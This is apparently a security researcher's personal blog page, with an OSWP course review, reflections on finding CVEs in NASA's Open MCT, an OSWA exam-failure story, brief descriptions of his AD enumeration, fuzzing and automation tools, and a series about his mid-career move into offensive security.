Andy Codes Hey, I'm Andy and I'm an Information Security Professional. I focus mainly on offensive security, red team operations and adversary simulations, security research and exploit development.

This page is a collection of topics I've studied and practiced during my transition from software engineering to offensive security, including my notes from a variety of certifications (such as OSCP and OSWA), and cheat sheets I use on a day to day basis as I conduct penetration tests or vulnerability assessments.

The intention is to further expand this page and document new subjects as I gain more knowledge and experience in security areas.

As for the transition to the infosec, I've documented the whole journey on my personal blog - stop by and have a look.

Latest Blog Posts

2024-01-17 - Getting a Black Belt in Wi-Fu - OWSP Review

2023-11-02 - XSS in NASAs Open MCT v3.0.2 - data exfiltration

2023-10-19 - My Journey to Finding My First 0day/CVE

2023-10-13 - Yamcs Vulnerability Assessment

2023-10-12 - Prototype Pollution in NASAs Open MCT CVE-2023-45282

2023-08-05 - How I Failed OSWA Exam

2023-07-23 - Mid-career Transition to Infosec 0x07

2023-03-19 - Mid-career Transition to Infosec 0x06

2023-01-16 - Mid-career Transition to Infosec 0x05

2023-01-12 - ADwalk: simple PowerShell script to enumate Active Directory

2022-12-20 - clif: simple command-line application fuzzer

2022-12-12 - nansi: simple tool for task automation

2022-09-01 - Mid-career Transition to Infosec 0x04

2022-08-10 - Mid-career Transition to Infosec 0x03

2022-04-27 - Mid-career Transition to Infosec 0x02

2022-03-10 - Mid-career Transition to Infosec 0x01

My Infosec Trophies


Offensive Security Certified Professional (OSCP)

Offensive Security Web Assessor (OSWA)

Offensive Security Wireless Professional (OSWP)


CVE-2023-47311 6.1 MEDIUM

CVE-2023-46471 5.4 MEDIUM

CVE-2023-46470 5.4 MEDIUM

CVE-2023-45885 5.4 MEDIUM

CVE-2023-45884 6.5 MEDIUM

CVE-2023-45282 7.5 HIGH

CVE-2023-45281 6.1 MEDIUM

CVE-2023-45280 5.4 MEDIUM

CVE-2023-45279 5.4 MEDIUM

CVE-2023-45278 9.1 CRITICAL

CVE-2023-45277 7.5 HIGH




My Personal Projects


Simple command-line application fuzzer.


Simple PowerShell script to enumate Active Directory.


Simple tool for task automation.


CLI tool allowing for an easy browsing and searching of your favourite spells without leaving your terminal.


Full list of repositories can be found on my GitHub.


2024-01-17 - Getting a Black Belt in Wi-Fu - OWSP Review

2023-11-02 - XSS in NASAs Open MCT v3.0.2 - data exfiltration

2023-10-19 - My Journey to Finding My First 0day/CVE

2023-10-13 - Yamcs Vulnerability Assessment

2023-10-12 - Prototype Pollution in NASAs Open MCT CVE-2023-45282

2023-08-05 - How I Failed OSWA Exam

2023-07-23 - Mid-career Transition to Infosec 0x07

2023-03-19 - Mid-career Transition to Infosec 0x06

2023-01-16 - Mid-career Transition to Infosec 0x05

2023-01-12 - ADwalk: simple PowerShell script to enumate Active Directory

2022-12-20 - clif: simple command-line application fuzzer

2022-12-12 - nansi: simple tool for task automation

2022-09-01 - Mid-career Transition to Infosec 0x04

2022-08-10 - Mid-career Transition to Infosec 0x03

2022-04-27 - Mid-career Transition to Infosec 0x02

2022-03-10 - Mid-career Transition to Infosec 0x01

Security Articles

2023-11-02 - XSS in NASAs Open MCT v3.0.2 - data exfiltration

2023-10-13 - Yamcs Vulnerability Assessment

2023-10-12 - Prototype Pollution in NASAs Open MCT CVE-2023-45282

Personal (still infosec)

2024-01-17 - Getting a Black Belt in Wi-Fu - OWSP Review

2023-10-19 - My Journey to Finding My First 0day/CVE

2023-08-05 - How I Failed OSWA Exam

2023-01-12 - ADwalk: simple PowerShell script to enumate Active Directory

2022-12-20 - clif: simple command-line application fuzzer

2022-12-12 - nansi: simple tool for task automation

Getting a Black Belt in Wi-Fu - OSWP Review

A few months ago, someone asked me if I was a legit hacker and knew how to hack Wi-Fi. I figured they were joking, maybe only half-serious, but it got me thinking. The truth was, while I had a basic understanding of how Wi-Fi works and knew a bit about attack techniques on Wi-Fi networks, my knowledge about actual wireless pentesting was pretty limited. Without delving into some reading and hands-on practice on my local network, I wouldn't be able to pull off a proper pentest.

So, I started digging into various security aspects of Wi-Fi. Initially, Google was my go-to buddy, but then I thought a more organized approach would be cool. Since I still had the OffSec Unlimited Subscription back then, I decided to take a shot at the PEN-210.


I kicked off the PEN-210 with a pretty limited knowledge of anything wireless. As I went through the training material, I was shocked at how much I didn't know – from the nitty-gritty of IEEE 802.11 standards, network setups, frequencies, encryption, to various attack vectors and the whole arsenal of tools to conquer different Wi-Fi networks. There was a good amount of reading involved, and I'll admit, I've already forgotten half of those details. It's not the kind of stuff you use every day, so it doesn't exactly stick in your brain. But now, I'm aware of these things, and I can always look them up in my notes or ask our good friend Google.

Now, I know the OffSec training library like the back of my hand, and one thing that caught me off guard was the absence of a PEN-210 lab. Instead, they recommend which Access Point and wireless card you should grab. At first, it seems like a major hurdle. If you want to dive into the exercises, you've got to get the hardware first. But when it came to actually doing the exercises, setting up the lab environment yourself (with a real Access Point and configuring it) turned out to be a pretty cool learning experience. I learned a ton, understood exactly what I was setting up, and why I was hacking it in that particular way.

Now, let's talk about the technical stuff – you know, the exciting part where you actually get to do things. You'll tackle exercises to practice wielding different tools, cracking authentication hashes, launching rogue access point attacks, going after WPS networks, WPA/WPA2 and WPA Enterprise networks, and even messing with captive portals. For a wireless newbie like me, it was a good bit of fun.


I managed to run all the exercises in the training material using a LinkSys AC1200 router and an Alfa AWUS036NHA WLAN adapter. These aren't the exact makes and models you necessarily need, but they're surprisingly affordable and tick all the boxes for practicing for OSWP.

LinkSys AC1200 router

Alfa AWUS036NHA WLAN adapter

Since there's no lab ready-made for you, I strongly suggest putting in the effort to create your own setup, especially for the exercises in the key areas of the training. This way, you ensure that when the exam rolls around, it won't be the first time you're executing a specific attack.


Just like any other 200-level OffSec course, the OSWP exam is an open-book, proctored affair. But here's the kicker – unlike its course cousins, the OSWP exam only lasts for 3.5 hours. It throws three challenges at you (one is a must, the other two are your call), each involving cracking into different networks. Once you're in, the goal is to grab a flag from a server chillin' on another host connected to the same network.

To ace the exam, you've gotta nail the mandatory challenge and pick off one of the optional ones. Post-exam, you've got an extra 24 hours to wrap up and shoot over your pentest report, just like the drill with all the other OffSec courses.


Whenever I dive into a new training, my go-to move is to check out the syllabus and figure out if it's going to dish out some fresh skills. In this case, a whopping 95% of the content was totally new to me, making it totally worth my study time. But here's the thing – after chatting with some seasoned hackers, it turns out most of them already had this knowledge. I'm pretty sure they could breeze through the exam without breaking a sweat.

Right now, you can't snag the PEN-210 on its own – it only comes bundled with the Learn One subscription or some other training package. But still, unless you already feel like a Wi-Fu black belt, I'd strongly suggest giving the course pages a good read. The exam is like a bonus round to test all the cool stuff you've learned. While it's awesome to get an official badge, I get that many might skip it and focus their study time on the main course they got with Learn One.



OSWP syllabus

OSWP exam guide

My Journey to Finding My First 0day/CVE

I've dreamed of discovering a 0day vulnerability and getting a CVE assigned to it since I started my transition to Offensive Security. In my mind, being able to find previously unknown vulnerabilities was a way to validate my skills and abilities as a security researcher. Unfortunately, for the same exact reasons, I only started actively hunting for vulnerabilities a couple of months ago, after I changed my role, and security research is now part of my job. Almost two years passed between the time I added "finding a 0day" to my list of goals and the time I actually attempted to do it. But why? The short answer is: I didn't know that I could.

The concept of discovering a 0day vulnerability remained at the top of my goal list for so long that it became something of a holy grail for me, almost unattainable. I believed that I didn't know enough to even begin, and the idea of starting felt like a waste of time because I thought I wouldn't find anything anyway. It seemed more sensible to concentrate on studying and progressing in my transition to information security.

Initially, I felt pressured to learn quickly and formally establish myself as an information security professional before embarking on 0day hunting. However, as time passed, I relinquished that pressure and became accustomed to the idea that achieving this goal might or might not happen at some point down the road. The human mind is peculiar, and it can sometimes play tricks on you, as it did in this case, leading me to deceive myself.

Things began to change when I stumbled upon a very interesting article written by 0xBoku: Beginner's Guide to 0day/CVE AppSec Research. In this article, he described his journey and how he started hunting for 0days as part of his preparation for OSWE. By that time, I had already obtained the OSCP certification, was working towards OSWA, and had slowly begun to explore OSWE training materials. However, even as I started preparing for OSWE, I still didn't feel confident enough to venture out and search for 0days.

I started my new role almost four months ago, and for two of those months, I worked on various R&D projects in the field of offensive security. Around two months into the job, I was assigned a vulnerability assessment of a software product. At that point, I was well into my OSWE training and believed this was an excellent opportunity to put my skills to the test.

During the first couple of days of the assessment, I discovered my first 0day vulnerability in the NASA Mission Control System. It's been a few weeks now, and I've completed the assessment of NASA's system, finished reviewing another product, and currently have 8 confirmed CVEs with a few more awaiting publication.

You can probably imagine the excitement I felt after finding that first 0day. I had finally achieved a goal that had been at the top of my list for the last two years. It was indeed a significant accomplishment for me. However, now that the initial excitement has settled, I thought I'd take a moment to reflect on this journey and attempt to answer the most obvious question: What took it so long?

I've spent some time trying to retrace the steps I've taken over those two years and have summarized them into three main categories.

Lack of confidence

Some people refer to it as imposter syndrome, but I'm not a fan of the word "imposter." I believe it's important to recognize that how we feel about ourselves can influence whether we take action or not, but it doesn't necessarily reflect our ability to do something. In my case, I was convinced that I needed to reach a certain level of knowledge and experience before I could begin finding 0day in software products. It took me a very long time before I actually tried, and even then, I only did so because my boss requested it. A lack of confidence can be blinding, and despite looking at the signs indicating that I was ready, I still couldn't see it.

Apply what you've learned

One of the main reasons I decided to pursue OffSec training courses is the fact that they are highly technical and consistently require you to apply the knowledge you gain by studying the training material. I'm an advocate of this approach, and I found these courses very appealing and convenient because I could solely focus on OffSec's guidance without having to figure out how to apply the new knowledge to gain practical experience. However, for me personally, this comfort became a hindrance and led to procrastination in my 0day hunting efforts, without feeling too guilty about it. Don't get me wrong; if I had to choose again, I'd still opt for OffSec training every time. However, if I had to start over, I would be more mindful of the need to balance training with real-world application.

Hack what you know

There are many ways to get started; you can obtain software from sources like SourceCodester or GitHub and begin searching for vulnerabilities. However, I believe it would be more beneficial if you started with software that you already know or have used.

In my case, as I mentioned in my mid-career transition to infosec story, I had extensive software engineering experience in the space sector. This background was particularly helpful when I was tasked with assessing an existing Mission Control System. I had previously seen and even used this software, and I had no trouble setting it up. Since I was familiar with the space industry and the functions of the ground segment, I didn't need to spend time figuring out what the software did or how it worked. I can attribute the fact that I found my first vulnerability within a matter of hours to my prior knowledge of the software.

Of course, I consider myself fortunate because the software I'm referring to is developed by NASA and is used in various space missions and organizations. This system is an attractive target for research. You may not be as lucky, but don't worry; the key consideration when selecting a target is that the software has some user base.

That's it! I believe these are the main lessons I've learned from my incredibly long journey to finding my first 0day. If you're considering embarking on the path of 0day hunting, I hope you find this writeup helpful. I'm also interested in hearing about your experiences in this field, so please consider sharing them with me and others.

How I Failed OSWA Exam

After obtaining my OSCP certification, I considered a couple of options for my next certification. The main ones I had in mind were OSED and OSWE. However, although I was a little tired after completing the OSCP, I didn't want to take a break. Instead, I decided to relax a bit by going for something that would be easier to achieve. While browsing through the OffSec library for other 200-level courses, I came across OSWA, which seemed like a good opportunity to delve deeper into web penetration testing.

What is OSWA?

OSWA stands for Offensive Security Web Assessor, and it is a certification that validates the skills acquired during the WEB-200 course. The course focuses on Web Penetration Testing from a black-box testing perspective. It covers various vulnerability classes and provides insights into how they function from both an attacker and defender standpoint.

Training material and labs

Similar to other OffSec courses, WEB-200 includes training materials (PDFs and videos), interactive exercises that accompany each training module (where students can start a virtual machine, perform specific actions to obtain a flag, and submit it through the portal), and a set of lab machines. The interactive exercises are contextualized within the training material, while the lab machines are standalone systems with no hints about the vulnerabilities or attack vectors they expose. Each lab machine contains two flags: one displayed upon obtaining administrator-level access to the web application and the other in a proof.txt file hidden somewhere on the system. The lab environment simulates real-world web pentesting, combining challenging scenarios with CTF-like elements. The lab size keeps expanding over time, and OffSec introduces frequent small changes to enhance the course content. When I started working on WEB-200, there were 6 boxes, and by the time I finished it, there were already 8. So, by the time you read this, there might be more machines.

The exam

The OSWA exam is a standard 24-hour test with five standalone boxes to assess the candidate's skills. After completing the exam, participants have an additional 24 hours to prepare and submit the report. The exam machines are similar to those encountered in the lab, but with different vulnerabilities and exploitation techniques. The rules for obtaining the flags in the exam are the same as those in the lab environment, though they may change over time, so it's crucial to refer to the official Exam Guide pages for the latest information.

My experience with OSWA

Initially, I believed OSWA would be an easy and quick success, but I soon realized I had underestimated its difficulty. While I was already familiar with most web vulnerability classes and had some black-box web pentesting experience, the WEB-200 course introduced numerous variations and challenges I had never encountered before. The difficulty level was high, emphasizing not only technical skills but also the ability to think creatively. I approached the training with a similar strategy as I did for OSCP, starting with easy machines and seeking help from forums and the Discord community. However, I discovered that this approach was not suitable for OSWA due to the limited number of lab machines available. Asking for help too often deprived me of the opportunity to figure things out independently.

Unfortunately, I failed my first OSWA attempt, and upon returning to the lab, I realized that I had forgotten certain concepts because I relied too much on external help instead of solving challenges on my own. I paid the price during the exam. Nevertheless, I learned from this experience and scheduled a second attempt after a 3-week cooldown period (my subscription allows for a 2-week cooldown). During this time, I thoroughly reviewed all training materials and completed the lab again, this time without seeking any assistance, even tackling the new machines added later. Ultimately, I successfully passed the second attempt and can now officially call myself an Offensive Security Web Assessor. I firmly believe that if I had put more effort into solving all lab machines independently and not underestimated the course's difficulty initially, I could have passed on my first try. Lesson learned.

Now, I'm looking forward to moving on to WEB-300 and CRTO, both of which I need for work, and I'm incredibly excited about them!

ADwalk: simple PowerShell script to enumate Active Directory

One of the things that became apparent to me (which also came as a surprise) since I've started my journey with offensive security was that Windows systems and Active Directory are absolutely everywhere. Most of the systems you will ever get to hack as an offensive security professional are going to be on Windows.

Probably the best tool for AD enumeration out there is the PowerView, however, to start using it you need to first transfer it to the target machine, just to do some basic enumerations, which sometimes is not ideal and can be problematic. I've noticed that often instead, a pentester will write a small script in PowerShell to start a simple enumeration of AD, just to see if there's anything there worth the attention. I've started practicing this approach myself and I find it much quicker - once I'm on a target system with access to PowerShell, I can write a short code and run it on that system to get the basic detains about AD.

Having this in mind, I've created a small PowerShell tool, called adwalk, which allows me to do just that. The main purpose of it is to display all OUs (Organization Units) in the Active Directory you are currently connected to, but you can also supply a filter in case you're looking for something specific, like an SQL server. Here's how it works:

Here an example of how to use it:

PS C:\> .\adwalk -filter "serviceprincipalname=*sql*"

Here's a quick demo:

For more details, head to the GitHub repo.

clif: simple command-line application fuzzer

clif is a command-line application fuzzer, pretty much what a wfuzz or ffuf are for web. It was inspired by sudo vulnerability CVE-2021-3156 and the fact that, for some reasons, Google's alf-fuzz doesn't allow for unlimited argument or option specification. Since I try to practice my Rust whenever there's an opportunity to develop something that I actually might use, I decided to create my own fuzzer.

Here are a few examples of what it can do:

# throw wordlist.txt as input
clif -e my_program -w wordlist.txt 

# throw wordlist.txt as -p argument
clif -e my_program -w wordlist.txt -a "-p FUZZ" 

# throw numbers from range 100..100000000 as the first argument
clif -e my_program -n 100..100000000 -a "-n FUZZ" 

# throw a string with length from range 10..100 as the first argument
clif -e my_program -s 10..100

For more details, head to the GitHub repo.

Here's a quick demo

nansi - simple tool for task automation

Since I've started getting into infosec, I have been using virtual machines for absolutely anything and everything. Sometimes that's because I want to have a clean setup, e.g. my Kali with some additional hacking tools; or maybe it's a Windows system on which I want to test my exploit and also needs to be pre-configured. It also happens that I simply have no other choice and have to spin up a new system, like in case of the Bug Bounty programs, which made me experience first hand the ISP response to some strange network traffic - just by blocking it.

Setting up a new VM quickly became a very boring and repetitive task, and so I decided that I need to automate this process. Here's what I need: simple command runner, quick and easy. I've tried automating the process with bash first but soon realized that with the level of control I want those commands to run, bash is not going to be the best choice. The next thing that crossed my mind was to set up Ansible, since I remember using it at some point in the past, but the moment I started setting it up I realized that this thing blew into an immense giant and using it for what I need is an overkill (not to mention the huge waste of time).

All this led me to take a step back and think what exactly do I need:

  • simple command runner
  • OS independent
  • possibility of defining dependencies between those commands (i.e., if command D depends on command B and command B fails its execution, command D won't execute)

After a few minutes of googling and not finding anything half decent, I decided to quickly make my own. I called it nansi as 'not ansible'. It took me a few hours of figuring some things out and actually codding it. It was also a great opportunity to practice my Rust :)

Now to get me started with a new VM or a Bug Bounty target, I just need to spin up a Kali or Ubuntu on my favorite VPS provider and run one command to install all my hacking tools.

Here's a short description:

nansi is a simple tool for task automation. Its primary functionality is to execute a sequence of commands in a defined order. It was inspired by what Dockerfile is and what ansible is not.

Here's also a link to GitHub repo.

Mid-career Transition to Infosec

2023-07-23 - Mid-career Transition to Infosec 0x07

2023-03-19 - Mid-career Transition to Infosec 0x06

2023-01-16 - Mid-career Transition to Infosec 0x05

2022-09-01 - Mid-career Transition to Infosec 0x04

2022-08-10 - Mid-career Transition to Infosec 0x03

2022-04-27 - Mid-career Transition to Infosec 0x02

2022-03-10 - Mid-career Transition to Infosec 0x01

Mid-career Traisition to Infosec #0x07

In March 2022, I released the first part of this blog series. Today, 15 months and 7 posts later, I write to share the exciting news that I have recently embarked on a new chapter as a Cyber Security Engineer. In my new role, I will be focusing on offensive security and engaging in a variety of impactful activities, including red teaming, adversary simulations, and security research.

You're probably wondering now, how did it happen? Have I finished the transition and completed all the training? Have I been applying to different jobs and eventually got one? None of that has happened yet - my training is far from done, and I haven't started applying to infosec jobs. So, how did it all come about?

As I mentioned in part 005 of this series, at some point, I decided to go out and share the news about what I was up to, my goals, and the steps I was taking to achieve them. This is when I also decided to publish this blog series, talk to friends, people I worked with at that time (and those I used to work with in the past), and even my (now former) employer. I was very open and honest about my aspirations, and I would share them with anyone who would listen. Surprisingly, as soon as I started sharing my desire to move into infosec, I began receiving some job offers, and eventually, I decided to go for the one that I thought was the most suitable for me.

Of course, this would not have been possible without hard work and dedication. As you know, my approach was to obtain the most difficult certifications available, as they would prove that I'm ready for the job. However, if I had kept my goals and aspirations just to myself, I would still be stuck in my old job.

Is the transition finished?

Well, I could say that my transition is finished since I've moved into infosec. But let's be honest, I've just entered a field that focuses on life-long learning. Whatever you know today is never enough, and with new technology emerging every day, there is a constant need to hack/secure it as well.

What's next?

I'm starting the new role, so this will be my main focus, especially since I want to gain as much experience as possible, as soon as possible. I'm still going through the OffSec trainings. I aspire to become OSCE3 (by obtaining OSEP, OSWE, and OSED), so this is what I will focus on in my personal time. Although in one of my previous posts I hinted that I was starting to train for OSED, in the end, I decided to further enhance my web penetration testing skills and went for OSWA. I recently passed the exam, but I will write about it in another post. Currently, I'm preparing for OSWE.

What will happen to this blog?

I want to take this blog series and summarize it in one coherent blog post. I would like to collect all the most important bits and pieces and write some sort of guide about how to transition to infosec. Throughout my journey, I've met many people trying to get into the industry, and quite a few of them are doing this mid-career too, so I think they might find this useful. Additionally, I will continue writing here, and while these will be standalone posts, they will focus on offensive security-related subjects.

If you are still reading this, thank you for staying with me throughout this journey. Your support means a lot to me. And if you also go through a similar journey of your own, don't be afraid to reach out to me or others in the field - most of us are a friendly bunch!

Mid-career Traisition to Infosec #0x06

I got my OSCP! :)

If you have read any of my previous posts, you know that it's been a long road, but after more than a year of training and preparation, I finally manned up to schedule the exam for the 11th of March 2023. Thanks to the Internet, I had no idea what to expect - some people say it is extremely difficult and fail, some say it is super easy and pass it in 8h. It is very subjective, depending on your experience and luck. For me, it was somewhat difficult. I haven't pwned all the machines but had enough to feel confident that I passed and finished it a few hours before the deadline. I didn't have bonus points. I don't believe in bonuses, so I didn't prepare or submit the lab report. I decided to focus on learning and applying the content instead. This doesn't mean I didn't do the exercises, though. I did all of them (which was part of my learning and applying), just didn't bother to prepare the report.

Going to the exam, I remembered what most of the OffSec student mentors were saying: the exam should not take the whole 24h. You should take your time for all the other things you normally do during the day. If you struggle with this schedule, it means that you probably need more practice. Following this advice, I decided to take it easy and, instead of thinking "I have to pass", I thought "let's see if I'm good enough, or if I need more practice".

The exam started at 5:00 am (there were no normal hours available...) so obviously, I didn't get enough sleep before jumping in. It didn't matter though, because throughout those 23:45 hours of hacking, more than half of it I spent on naps, preparing the food and eating, and of course, a few nice walks with my dog. Don't get me wrong, it was both physically and mentally exhausting, and again, to me personally it wasn't easy at all. But, having the right mindset and taking care of myself helped.

What's next on my upskill plan? Since I have the Learn Unlimited subscription at OffSec (thanks to my current employer), I will go for another training. As per my previous posts, I will try to focus on security research, so I will start with EXP-301. That being said, I also got Red Team Operator training and I think that it's going to be an interesting and very useful experience (not to mention another badge on my CV).

Mid-career Traisition to Infosec #0x05

Progress Report.

Over the last couple of months, I've been going through the Offensive Security Labs and HackTheBox, and I think I'm doing pretty ok. I don't have too much trouble with the easy and medium ones. Of course, there are those exceptions where a box is marked as easy, and you just have no idea how to approach it, but again, these are exceptions. So, I finally got the courage to schedule the OSCP exam. The exam is scheduled now for March 11th. I was trying to book it as soon as possible, but there were no free slots for the weekends, which was a prerequisite for me. That's ok, there are still plenty of boxes I can go through on HTB or OffSec labs to practice, but I've super excited and can't wait for the challenge day!

There's one more thing I wanted to mention, in the context of the transition to infosec. I've recently had an opportunity to meet and chat with Ted Harrington (the guy who wrote Hackable), and he suggested something important. He said that the moment I'm sure about what I want to do, I should go out and start talking about it publicly, let people know what I'm up to and how much I want it. I started writing this blog series almost a year ago but never published it, I was waiting for the transition to be complete. Ted is the one who encouraged me to make it public immediately. He said that this way I'm letting people know that I'm serious about it and am open to new opportunities. I was skeptical about it at first, after all, I wasn't feeling strong enough to start applying for new opportunities, but I did it. I also started showing my interest on LinkedIn a little bit more, posting some posts about my tools and whatnot. I immediately noticed the interest of people, which I wouldn't even think of in this context, which was quite encouraging to stay on track and keep pushing through my upskill plan. A couple of months after when I started being more active, I suddenly started getting some job offers in infosec! Unfortunately, all of them were more on the defensive side, and since I'm interested in offensive security, I did take up any of them. But just the fact that a guy like me, with no real-world experience in the sector, is getting infosec job offers - I was shocked but it also encouraged me even more to continue. There's a shortage of infosec talent out there, but for people like me, it's good news.

Ted's advice was so simple but so powerful that I have to pass it on. If you also try to get to infosec, don't wait for your story to be successful. Go out with anything you've got now, and build upon it. Tell people what you're up to and how you plan to achieve it. There's a high chance that someone who reads it will either get inspired by what you do or even decide to help you in achieving your goal.

Mid-career Traisition to Infosec #0x04

Progress Report.

My OSCP journey takes definitely longer than I anticipated, and due to other obligations, I didn't manage to complete it within the Learn One time frame. That being said, I had extended the lab time and and now I'm going through the remaining boxes (so far I've gone through around half of them). Not planning to extend it further and attempt the exam soon after the access ends.

Throughout the last couple of months I've made significant progress in my upskill plan, not only because of the OSCP prep work but in general in the context of infosec. Improving my sysadmin (both Linux and Windows) and network skills was very helpful. Getting into PEN-200 I thought I had all the basics covered, but the reality is that I didn't know how much I don't know. All that dump of knowledge, which with practice I converted into an actual skill, significantly boosted my confidence.

Also made progress in the plan itself. Since I finally decided to go for a combination of Security Research and pantesting (or even Red Team Operations), I've signed up for the EXP-301 Learn One. Haven't started it yet because I'm still hacking the offsec lab, but I had a quick look at the content and I absolutely love it. It is gonna be an immense effort for me (I know very little technically about this subject) and so I've decided to quickly finish the OSCP and then fully focus on OSED.

I also have an update on the roles I listed in part #002 and described a little in part #003. I've recently read an interesting book, Hackable by Ted Harrington, where he explains the difference between pentesting, vulnerability scanning and vulnerability assessment. From this source I gathered that the purpose of Pentest is to find out if you can compromise the system (find a way in, escalate privileges, pivot to other machines in the network, etc. – everything they teach us on PEN-200). Vulnerability assessment is the activity of taking a product or service (that a company offers) and trying to find a vulnerability in it, usually by white-box testing. Vulnerability scanning is a brief scan of a network and services to see if you can find something that is affected by known vulnerabilities.

It is now clearer to me that Pentest/Vulnerability Assessment are what interest me (apart from the Security Research). However, it is now two people who work in infosec (which I know personally) and have experience with pentesting, said to me that although by definition Pentesting is very interesting, in reality (or what the companies implement) it can be very boring and daunting activity. Based on the definitions of Pentesting and Vulnerability Assessment I've described in one of the previous posts, practical Pentesting is more like a Vulnerabilities Assessment in respect to the number of details you have to pay attention to and report about, but without getting into too much depth when it comes to looking for vulnerabilities in a custom software. What does this mean in practice? As a pentester you probably go through all services and report your findings, even if they don't lead to getting root access. On the other hand, if there's a custom application running there (like a company's product) and you don't find any obvious issues with it (usually by back-box testing), you move on. This unfortunately sounds to me like a typical vulnerability scan and not a proper pentest, and although it wouldn't be wise to generalize it in this context, it is definitely something to watch out for before getting into Pentesting professionally.

Now back to PEN-200 lab, still a few boxes to get through!

Mid-career Traisition to Infosec #0x03

It's been a couple of months since I've written the last post here. At this point, I'm well into the second half of my yearly PEN-200 subscription. As I've been progressing, I've also been trying to pay attention to the points I listed at the end of the previous post. It was an intense couple of months of going through the training material and hacking the PEN-200 lab boxes, and I've also had the opportunity to learn and try different areas of the offensive security, which means I think I can answer some of those questions now.

1. What different areas of offensive security are out there

Based on what I've learned so far, I wasn't that much off when I listed the offensive security areas in my previous post. But I realized a few very important things which I'll discuss below:

Pentesting is very broad, but it can be divided into many different areas of testing: web, application, system (things like Linux or Windows administration, e.g. Active Directory), IoT, network, physical, people, and probably more. I believe that working as a pentester, you need to be well-rounded in many of these areas, but from what I see there's a split between testing the IT (web, network, etc.) and social (physical, people). Let's take an external pentest of a company, assuming that you have been given some initial info (e.g. website URL), you need to be able to find your way around the network and web to properly enumerate the target and hopefully get a foothold. Sometimes, however, you can't get through the web, but you see there are other services running on that host, so you enumerate those and find some exploits which you can use to get in. Imagine then that the exploit is just a PoC (proof of concept) and it is for a binary application that has a BOF (Buffer Overflow) vulnerability and is running on Windows, you need to be able to modify the exploit, so you need to know some binary exploitation (reverse engineering and exploit development) aspects. I could continue giving you examples for a while, but I think you get the point - pentesting could require from you to be familiar with one are of offensive security, but also all of them (and the latter is true in most of the cases).

All other areas are more of specializations (e.g. web pentesting, appsec, reverse engineering, etc.), which you can utilize in pentesting, or as standalone activities, e.g. if you are a security researcher with focus on finding 0-day vulnerabilities, you need to master the reverse engineering and some exploit development.

2. Which one of them do I like the most.

Since the split between different areas is not clear, and often they overlap with each other, also the answer to this question won't be clear. That being said, I've been having a great time going through the PEN-200 boxes, in some cases tearing them apart like there were small cans of tuna, in other cases spending days banging my head against the wall and not getting anywhere, but the later are the ones that teach me the most. However, I really got into binary exploitation and I absolutely love it.

3. What are the roles associated with that particular area.

I think the most adequate role associated to this area is Security Researcher. Basically, it is someone who is looking at the system and tries to find vulnerabilities in it. It sounds just like a pentester, you may be thinking, but it actually is not. The difference is that a pentester checks if it is possible to get into your system and by what means - e.g. they check if a given service is vulnerable to something or misconfigured, and if that's the case they try to exploit it. They test many services mostly in a black-box approach, and if they don't find anything, they move on. Security Researcher on the other hand is somewhat much more focused role. They pick one system, which doesn't even need to be currently in use by a customer, they look at the code (if it is a white-box type) or tear it apart (throw a bunch of weird input at it or reverse engineering it) and try to find vulnerabilities that could be exploited. In some cases, this leads to finding new vulnerabilities that aren't known, called 0-days. Every new vulnerability gets a new CVE number, which for you as a hacker is a type of trophy - what a way to build a portfolio! :)

4. What are the next steps in terms of upskilling in the area of my choice.

At this stage of my upskilling, I think I will start leaning towards a Security Researcher role. I very much like the overall idea of researching new vulnerabilities in some software and, what's also very important, I'm a software guy so should have no problem finding my way around the code. There are many different types of security research I could focus on, though, even within the software itself. For instance, I could focus on web, but also go more for binary applications. Based on what I have gotten to try so far, mainly due to my OSCP training, I can tell you that I really got into binary exploitation. There's something very appealing to me in finding a crash in an application, whether it is on Linux or Windows, which then leads to binary exploitation, e.g. exploiting the buffer overflow. So far I've had a blast attaching a debugger to that thing and going through the assembly instructions one by one figuring out what the developer wanted to do and how I can abuse it. The only trouble with that is my very limited knowledge and lack of any experience in this area. I know it's software, but I really have idea about many other aspects, e.g. reverse engineering. That being said, I've had tried enough of it to know that I want to go in this direction. I've decided to proceed with this in the same way as I did when figuring out how to start with offensive security: done some research about it and, since I want to get my feet wet as soon as possible and start practicing, I think the best approach for me is to signup for EXP-301 and get OSED (Offensive Security Exploit Development) certificate.

5. What other areas are relevant, which it is worth to explore in this context.

Reviewing EXP-301 made me realize that going for it not only will help me develop my skills towards security research and reverse engineering, but also get some foundation in the area of exploit development.

Knowing myself, I'm very much drown into the things that are difficult (and Security Research + Reverse Engineering + Exploit Development is one of those things) to the point that it clouds my judgment, and I'm no longer sure whether I like it because I like the process of doing it, or just because it's so damn hard and the reward is great. Nevertheless, I think I will strive to become a well-rounded pentester and specialize in reverse engineering and exploit development. Combining my old passion to software development with the new one to offensive security seems like a done deal, no need to look for more, I'm hooked!

Mid-career Traisition to Infosec #0x02

Every planning activity I like to start by taking a step back, trying to get the big picture, and defining in one sentence: what is that I want to achieve exactly. So, let's see.

"I want to shift my career from whatever I'm currently doing to something that is offensive security related."

That's at a pretty high level, but I think I could refine it a little by adding:

"Preferably, I would like this to be also related to software engineering since it's my background, and also I just happen to like it."

Ok, so that's more or less my goal. It is still high level, I know, but it's good enough for now.

Next, I will try to recap where I stand in achieving this goal. As I already mentioned, my background is in software engineering, so I'm not exactly an IT beginner. But what does that mean exactly? Again, let's try to refine it a little.

I'm a software engineer with 15 years of experience, 5 of which I spent on actual coding (mainly in C++ and Java) and the remaining 10 years working as a TPM. It is also worth noting that I spent the last few years running the same project using the same development stack. Although these were multiple projects, the software and most of its functionality are identical. So, although I picked up some software engineering, project management, and leadership skills, I'm not up to date with the latest tech. Of course, it's not like I was doing nothing all those years. Over time I picked up many different programming languages and frameworks, but it was primarily out of curiosity and by no means I'm an expert or even proficient enough in any of them.

Knowing more or less what I want and having a clear idea of where I'm currently at in terms of skills that could help in achieving my goal, let's try to narrow down the roles (or areas) of the offensive security which I could focus on. At this point, it would be helpful to have two lists, one in order of things that I like the most and the other by the least effort I think I would have to make to get good at (knowing my strengths and weaknesses).

Things I think I'd like to do:

1. Pentesting

1. Red Teaming

1. Exploit Development

1. Reverse Engineering

1. Security Researching

1. Application Security

I didn't get the numbering wrong; it is all exciting. Also, if you try to read the definitions or job descriptions of some of those roles/areas, they are super confusing; they often overlap with each other or, in many cases, at least complement one another - difficult to decide which one I like the most. For instance, regarding the difference between Pentesting and Red Teaming, I dare you to get a single, concise description from more than two people. The same goes for Security Researching and Reverse Engineering.

Not a good start, but let's continue. Let's now try to map this list to my skills and experience, and see if I can get a more precise outcome.

Things I think I'd learn quickly:

1. Pentesting

